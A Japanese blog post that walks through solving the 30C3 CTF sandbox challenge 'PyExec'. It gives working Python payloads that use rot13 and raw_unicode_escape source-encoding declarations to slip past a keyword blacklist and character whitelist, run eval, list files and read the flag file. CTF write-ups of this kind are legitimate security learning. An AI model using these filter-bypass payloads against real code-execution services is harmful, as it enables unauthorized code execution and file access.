しおあめにっき!

ひらがなかわいい

30C3 CTF に参加しました

30C3 CTF に参加しました。初心者には絶望的でした。しかし、なんとか1問解けたので救われた気はします。

SNDBOX 300: PyExec

問題概要

攻撃対象のウェブアプリケーションと、そのソースが与えられます。このウェブアプリケーションは、入力された Python コードをサンドボックス内で実行し、その出力を表示します。

解法

ソースコードを読むと、サンドボックスは次の方式によって不正なコードの実行を防いでいます。

まず、チェックに引っかかるコードを投げてみます。

    print eval

もちろんブラックリストに引っかかるので、 forbidden と返ってきました。今度は、このコードを rot13 でエンコードして投げてみます。

    # coding: rot13
    cevag riny

今度は、ブラックリストをすり抜け、 <built-in function eval> と返ってきました。やったね!こんな感じでうまくいきそうです。

ところで、 rot13 はアルファベットを変換するだけで、記号類は変換することができません。一方、ホワイトリスト^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$ となっており、括弧やダブルクォーテーションが使えません。つまり、 rot13 での回避法では、関数に引数を渡すことができず、できることに限界があるわけです。

rot13 以外に使えそうなエンコードはないかなと思い Python ドキュメントのエンコーディング一覧 を見てみると、 raw_unicode_escape というものがありました。これは、ユニコード文字を \u002e のようにエスケープするエンコード方式のようです。これを使えば、任意の文字をエスケープすることができそうです。そして、このエスケープ方式はホワイトリストをすり抜けられる形をしています。というわけで、これを使って、 eval('1') を表示してみます。

    # coding: raw_unicode_escape
    print eva\u006c\u0028\u00271\u0027\u0029

結果は、期待通り 1 と表示されました。やったね!

あとはフラグを探すだけです。カレントディレクトリのファイル一覧を表示させるコードを投げてみます。

    # coding: raw_unicode_escape
    impor\u0074 os
    for f in os\u002elis\u0074di\u0072\u0028\u0027\u002e\u0027\u0029:
        print f

すると、次のような結果が得られました。

    .bash_logout
    flag.txt
    webapp.py
    .bashrc
    .profile
    .viminfo
    .cache
    .bash_history
    static

フラグを表示させましょう。

    # coding: raw_unicode_escape
    with ope\u006e\u0028\u0027flag\u002etxt\u0027\u0029 as f:
        print f\u002eread\u0028\u0029

フラグが得られました。

    30C3_2a2766d9cf4a137d517a8227bd71d59d

ぱちぱち。